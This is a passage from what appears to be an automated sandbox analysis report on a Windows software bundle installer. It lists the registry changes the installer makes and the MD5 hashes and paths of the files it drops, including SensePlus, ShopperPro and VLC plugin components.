[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process taskeng.exe:3132 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{40E09E2D-F392-444E-B91C-75D315D76FC1}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process ytaiesmt_smtyc_setup.exe:3956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.25.11, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\521.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\521.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\DCytaiesmt_smtyc_setup.exe,"

Dropped PE files

MD5 File path
894b34042c22ca436ad54b6054a0dddb c:\Program Files (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.exe
719a56ad727cb95654c8a8b17c962d59 c:\Program Files (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-5.exe
9931bd8fc2124535533595dee5526340 c:\Program Files (x86)\SensePlus\Uninstall.exe
b5d409713f5bfcd74967d20932455562 c:\Program Files (x86)\SensePlus\utils.exe
a38e84efaa63daf1c33ab7f3e0f756ae c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe
752576185884bc403efcbacaab53817d c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.sys
a38e84efaa63daf1c33ab7f3e0f756ae c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
752576185884bc403efcbacaab53817d c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
fa3c12d4a164d6d7c05005dd7441c251 c:\Program Files (x86)\ShopperPro\SPRemove.exe
233cff9284f0dd1b668f349dc67a708f c:\Program Files (x86)\ShopperPro\ShopperPro.dll
ae1dec924c6e41699c4b6c401a55707d c:\Program Files (x86)\ShopperPro\ShopperPro.exe
97369febf67527f3400895376cfc6381 c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
2bbda6cc5604c8acaed4522f47757467 c:\Program Files (x86)\ShopperPro\Updater.exe
424d348c16e438ceb01dc1d61060207e c:\Program Files (x86)\VideoLAN\VLC\axvlc.dll
e766a57ea7a20702e07381b005fea625 c:\Program Files (x86)\VideoLAN\VLC\libvlc.dll
496738f1bab02152e798b2a8dba4fd45 c:\Program Files (x86)\VideoLAN\VLC\libvlccore.dll
c7794a997cec29173a4401f3ae16c51f c:\Program Files (x86)\VideoLAN\VLC\npvlc.dll
9a043ffbf33dc8e092c34ae6149cded7 c:\Program Files (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll
814dff8b64c2b384a4942264fcd06b76 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll
d6765bdd093fb541f85c52ccec5532c7 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
ea5b22e5ec0e3034661bcc3e75d7fa0b c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll
c5bf382c15b7f7034fa823886b0817a0 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll
69ecbc14fc30c5c873cf0412bafaf8e9 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll
05c3d34a294549f905feada8f3bba86f c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll
936fe64abb4ba23e23e6c04a093bab41 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll
de499b297749231f6f715c53e8ea74be c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll
914f84096bc42b6d17aad86933521e1b c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll
105b64deeb20dfc6c53631ee3797e76a c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll
8ef771d65018f4f492f35f2a76506095 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll
6c0e394fe0eaa85f8e511c1c92fb9ff5 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
7ab333db5aefbf6e9a6d733e1fc824cf c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll
d294a5f0c9da3f28c64cbd295f4debc0 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
5e1ad1ffd095226261bb682f2ac17034 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll
6bab26d9b2b00aa2eb2c1d31ca3e38dc c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
dd95d0cc7f9f0d5aebfe0dcb62a51a10 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll
130ae8da1d4ed05cd49eba090b43a942 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
24bc3c68c289c3ece340ee206b056582 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll
9f9b13c87b9f980ad6be31ce53e0592a c:\Program Files (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
01d30f69daa820caa7ce7b372a2278b1 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll
b7744188e0c2ecd75358583280ce1b69 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll
10ff55e72faba4715743c496d3abd9b3 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll
34a6100796dd12b95702142a092fbca7 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
beaacfbbe0b711012c3e3a0f6f68f2d5 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll
b51d0624aaa9ef3681cd93b7dc997269 c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll
ec0f833013bb4cbff3214cd3543a3ddc c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll
29e902380dfebd98dc121702b8439e56 c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll
cc65b129f5d43226140dcfed39f529b1 c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll
b8182f3fe323ab9a93af5339318d9738 c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll
f62198821f00b934e378047814225055 c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll
c717c63925c4ab0f0344da8659d5c706 c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll
592f96ac72a4848c2914260f9ab44b39 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll
8c7d4aae7422dd83dc558a87b1689a64 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll
0ace6c842f6becce1fafc5d28c261130 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll
21369588ffc2df1c072371b75200ee3c c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll
e87a5e5e63d25c16a24657fd710595a8 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll
647d165f4580d75ab608fb69a6abba55 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll
2209cc94205d926a047288da6241cc83 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll
0d3f7481da5bd8a9f9439a40a5c11c2b c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll
12ace95ba8e0b00b9dd58f3b3a40a0fa c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll
4bdd30e966d454afa13d99170431adea c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll
cafdfc579ebace1b96402cda567e0f44 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll
86a6290cba98a31534e2158908a9cd30 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll
6c76e8036b84876c275edf531215c9e8 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll
78334a518760d01eb1fd1247da9e08b7 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll
43dc38c9e1ea6ecac296962e540154d8 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll
8dbf85a23f92aa7c7b4367969dd7c5c6 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll
9099466eff9de7c14ea76b11f923f40e c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll
fe341b41c5693fd48356af7ba081ce68 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll
8f7b750e3a557444117cbe616dba875c c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll
33f28662fc7d5524812b31d8b6332110 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll
985e30224f4a1d6da47b3b85a4a547c8 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll
a7c2a5b14a006ebb8881ca2b2545f05a c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll
deb8c9a45e0169582b26285a9c787763 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll
2ace22a12e29647c5b89300604241670 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll
bccd837cb867f26578ea54010bb2372b c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll
7d7a86d3a006e82066ff4f9396a47f3f c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll
e371a7452c33e86614a7a1566ae58e45 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll
9f48fddd3a7bdb7542da7edc1a055e51 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll
997d8beb983a94b2846362eec549f41c c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll
ecf93364cdf40e85323cd40330e8fc85 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll
1c05c5d2b95542a03d93cbd18efcbc67 c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
ea69d0a1a58b2e85588180b41c7078af c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll
4222faf52b41fac176f9d7d05729b1a1 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll
9cda0fa5a9adcf632f0fb3cf4071db14 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll
411cfd4400bb820f12aec185e8404bce c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll
cff9d5d34cf98d8ed173e1801f912f58 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll
fe92a571df7d9eceed36b072faabe972 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll
7aad57e019d83257c45d198abdf8ac4c c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll
4b6fe677dc4edae07b01948b2b6e6a05 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll
c04c2bb4e5909fdbee44dd7e1496f2df c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll
48e23c16f0f4494e428526172ae864f2 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll
fc69a8836a62d62e98165e265498501a c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll
55814a91b3cb348195802d6795eb3005 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll
9b31a1bf84172b32ef7500b7a71efcad c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll
f0112a041e83047d8b0eb502050768e1 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll
1290df075d588719265265042bc3c4e7 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll
410893564e40afe3ef3f9bda36e058bf c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll
fd10f62f7ef1bc64d732c4241c974cef c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll
572e9aea44fdd7cf18beaeb198f985be c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll
ea8bae2ee5a8617f986bb1d62b9000de c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll
7285ffac26f27aa9ecf125d6f6fd1434 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll
728925771cbd0c71e568fd68a3d8ec2d c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll
3876ae407b6d94b761c73ca88f4782ca c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll
8780859ded6f6c985af760a7f0a6c4af c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libopus_plugin.dll
2cccbf799fc42f6634c117fd27c92fcb c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll
1b5144a06b4796bfb7fc54f1348dab51 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll
5d3c4bcd594d9b1b7f2fa6beb33f3362 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll
6411d55bc22378c71f8aca5604f3b39e c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll
98e65a25020a12b4a4a9147a7302eebb c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll
851ac504ed95991dff897f64029c5481 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll
37e527ef8744ff367a16831f804d6dde c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll
c4d4fc57317c3d0bda336e706a579f57 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll
a448990dbc0264f33e60916f72277400 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll
5559e3c46d82c0ba7f1cc280893b669f c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll
c6bbe8bf871ccb8ee0d13d3eb44d5d4b c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll
99ee4ba2063a60e03dab4b7259b92c71 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll
cdeacf359095b03be244b8f9d5151472 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll
73b1ceabcf44d5033d365642ffd34c80 c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll
6f3e8e34fc5c87eff9324d49a75960ea c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll
f8b18ff042715c6b8d9564abb8b5910d c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll
2fbc1229557be5a6ce06bd661c23fc1f c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll
0180824b8a13738ad44adf59e7b38b9e c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll
ce7d2d81f3dba8770693ff713eceeb06 c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
65b3fac0d08ce17ab4d512ee45b4c98f c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
9628f10677f392f250b168b36a41e735 c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll
59714a58e59e27edfe57c1a0b003d9e2 c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll
f1ac97ec8e392bd382dd4556f35ce2b1 c:\Program Files (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll
4b79ba8c595047613680eb48d618abd8 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll
c0d821d3b1f6cdf59092ea6d3a29da38 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
5cabd156422f8f24d36accc302746db4 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll
868ccaea88d538a2e84797a93ef0fb0f c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
570b16c1889e8589f3e939186e970161 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
6791450b9650cbc255f02a1f227c1583 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
8fa9cb7d9190903cc523140d0641295b c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll
da04b191ef5a51464cfcdaeb6774bd3c c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll
ef2e114e1ba4be8eb2689ac82d465308 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll
ca5b9061c4fa5fa004d9f835bea01025 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll
46d2314fb71e1861b5bf0140818a5060 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll
24d38d47a3b40315b31674e7a468c67b c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll
1ff7239a90a257468c24b070f47bbb34 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll
7b91f9d7cbe311baf8f73b4bba970bd0 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll
253794943fc3c9e10595156483264589 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll
4bf0f0f198d52960a6b634d45f7bb7fc c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll
c94c7150f3d32347dfb7cb750b52e295 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll
ddb197fc992e30bb0afe78122131ca79 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
3d17f8020e955d9dca6f040edc6042e0 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll
3c99561b79ecb07d210fe64cacf79e94 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll
c371c4d79e8feb1dee99bf5db9924462 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll
8a2ef7a8166e6287f0d962f4efe696e7 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll
c5e91b7c909260b0f7b18b8c0b2735d1 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll
0e313ff8865f5fd90a06fc19ed5fab6c c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll
8b066fc82d2a6ca9f85987dd4ffe8c94 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
c74fc78f7f498a8f8d03cf68326de325 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll
24ab96aab1347210354ae3fea25da45b c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll
28636902b0961a3b3b8b4407c235ae9d c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll
6fc473c105df67a04f15086f89987f32 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll
d2d9cce4c596e11262a6c25efd837cd9 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll
8ff0abf44952f6c3332ed28e5c6a3352 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll
f04ce37afce8f03786e374f81ca33a51 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll
1c6347c86f7e234b0f04981d32484ec3 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll
e3264a7fa6c9d40a9986691e5d375acb c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
e8f6cfdd13c20534982949f244465498 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll
a64c6a6171bc2351f2373772d3daaf7b c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll
ac6931b4f71ca1d4902d0f2fe8f2d9fd c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll
7da427907a11b7d796115928257e2575 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll
67caa62ddfe5eaef7aaad4bdc9e9663d c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
b8e8b55cb9ead030eac054e3eaacb2ee c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll
1584a8e3a1272c94229213998bc12a59 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll
c427da91d18826c3aebb52f5fed7b437 c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll
d98e1deae8a514e6647ac3c401870b7e c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll
aa75c4948b12a31284f4fc38ef7c2db1 c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll
bc7f17bf4ddc1ab7f48f1329898113bb c:\Program Files (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
90624133d1fed11c6e1d807460a75eee c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll
29161066db503f37a8ba0517d9ebd21a c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
dbcda96082425e8c0b7a487c32dd347d c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll
49a8e72ad6bf54ba967ad708b66089de c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll
5ac7af7684260fe07b37a05564525a08 c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll
81521b77ab17ec8cd8d1e0f7b6fa4c28 c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll
06d7ef8c71e0e320868edaf37ecf86ce c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll
2bc4dd467cb7f60bb733d9fe0989e82a c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll
e728b72ff3171ce840cd1e4dedd4f6da c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll
a76152c6792d32edc485d90b81a3bbec c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll
bbd7f02140dd7d4e5ec4dac002507ed8 c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
a489c56dcd998e539bc9723bf19cbe5d c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll
cc6ce25a672703dc9c09ea043401189d c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll
583b3f39625dc55faaedc3d200a7819c c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll
a786af63594e02eca26a73120aa3f8a9 c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll
86b6c43322c76656ad68303c6445612d c:\Program Files (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll
e5d96abdf3aaab62a9805dd9b7b5dfec c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll
adaa86d5a9ab0196343b7a37d31dc246 c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll
058042314272c5ede811daf5f69e37c5 c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll
965cd82261095e9ac58821ae14313e3f c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll
6375a9034c4e5bf138b2fa06d453fe3a c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll
a828aed14bdca44fbb04aa0c09fd261b c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll
a238ba2553492bdc01cbf36e72d0ff4f c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll
84a738c86790d1933920120055d5cc7f c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll
e11ec25e8c715176f898c5758b69bc0a c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll
b100ed639bc08e2e08e07d050ff51328 c:\Program Files (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll
